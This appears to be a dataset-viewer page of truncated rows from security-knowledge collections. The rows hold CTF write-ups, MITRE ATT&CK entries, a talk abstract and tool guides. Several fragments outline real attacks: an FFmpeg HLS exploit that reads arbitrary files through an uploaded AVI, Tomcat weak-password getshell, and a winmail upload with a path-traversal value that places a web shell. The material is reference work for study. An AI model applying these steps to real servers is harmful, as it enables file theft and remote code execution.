.TH SHA224SUM 1 2022年9月 "GNU coreutil... | sec-knowleage |
## zer0-day (crypto, 50p, 824 solves)
> [eps1.9_zer0-day_b7604a922c8feef666a957933751a074.avi](zer0-day.bin)
### PL Version
`for ENG version scroll down`
Pobieramy wskazany plik. Jego zawartość to:
RXZpbCBDb3JwLCB3ZSBoYXZlIGRlbGl2ZXJlZCBvbiBvdXIgcHJvbWlzZSBhcyBleHBlY3RlZC4g\n
VGhlIHBlb3BsZSBvZiB0aGUgd29ybGQgd2h... | sec-knowleage |
# FFmpeg HLS vulnerability
FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files.
## Exploits
```
1. `./gen_xbin_avi.py file://<filename> file_read.avi`
2. Upload `file_read.avi` to some website that processes vide... | sec-knowleage |
# level01
#### About
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.
#### Source code
```
#include <stdlib.h>
#include <unistd.h>
#i... | sec-knowleage |
# Tomcat7+ 弱口令 && 后台getshell漏洞
Tomcat版本:8.0
## 环境说明
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- ... | sec-knowleage |
# 签到 1
查看流量包, 过滤 modbus 协议, 一个一个翻,发现 flag
---
# 签到 2
notepad++ 打开, 直接搜 s7comm, 一个一个 IP 提交试过去, 发现 flag IP
---
# email
在 F12 源码中发现目标是 winmail 6.1,这个版本存在一个普通用户上传 getshell 的漏洞
并且在 F12 源码中发现测试账号
登录系统后上传文件保存到网盘,并抓取数据包
通过修改 ftpfolder 值为 “Ly4uLy4uL3dlYm1haWwvd3d3Lw==” 代表 “/../../webmail/www/”
访问 http://10.100.101.8:8080/shell.... | sec-knowleage |
"""
Django settings for CVE20209402 project.
Generated by 'django-admin startproject' using Django 2.2.6.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import o... | sec-knowleage |
##MD5 (Crypto, 200p)
He is influential, he is powerful.
He is your next contact you can get you out of this situation.
You must reach him soon.
Who is he? The few pointers intrecpted by KGB are in the file.
Once we know him, we can find his most valuable possession, his PRIDE.
###PL
[ENG](#eng-version)
Dostaj... | sec-knowleage |
# Episode 4: Challenge 3
## Description
> The VRP platform is proudly open-source, and encourages submissions. Let's try to change something and see if we can find some bugs.
>
> Hint: Look around the site to find out how to contribute.
## Solution
In [Challenge 2](e04c02.md) we got the source code for the website, a... | sec-knowleage |
package org.vulhub.springcloudgateway;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.util.StreamUtils;
import org.springframework.cloud.gateway.support.Sho... | sec-knowleage |
mysqlimport
===
为MySQL服务器用命令行方式导入数据
## 补充说明
**mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。
### 语法
```shell
mysqlimport(选项)(参数)
```
### 选项
```shell
-D:导入数据前清空表;
-f:出现错误时继续处理剩余的操作;
-h:MySQL服务器的ip地址或主机名;
-u:连接MySQL服务器的用户名;
-p:连接MySQL服务器的密码。
```
### 参数
* 数据库名:指定要导入的数据库名称;
* 文本文件:包含特定格式文... | sec-knowleage |
ATT&CK ID:G0032
ATT&CK Technique Name:Lazarus Group
Lazarus Group has created new email accounts for spearphishing operations.[7] | secon |
ATT&CK ID:S0534
ATT&CK Technique Name:Bazar
Bazar can collect the IP address and NetBIOS name of an infected machine.[33] | secon |
titleblackhat:asia-23 PPLdump Is Dead. Long Live PPLdump!
The Windows Protected Process Light (PPL) mechanism hardens anti-malware and critical Windows services against tampering, even by administrators. This special status is guarded by the Windows Code Integrity (CI) subsystem which ensures that PPL processes will on... | secon |
ATT&CK ID:S0385
ATT&CK Technique Name:njRAT
njRAT can search a list of running processes for Tr.exe.[182] | secon |
ATT&CK ID:S0362
ATT&CK Technique Name:Linux Rabbit
Linux Rabbit acquires valid SSH accounts through brute force. [43] | secon |
ATT&CK ID:M1047
ATT&CK Technique Name:Audit
Routinely check account role permissions to ensure only expected users and roles have permission to modify system firewalls. | secon |
ATT&CK ID:M1013
ATT&CK Technique Name:Application Developer Guidance
Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage). | secon |
ATT&CK ID:G1004
ATT&CK Technique Name:LAPSUS$
LAPSUS$ has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.[4] | secon |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.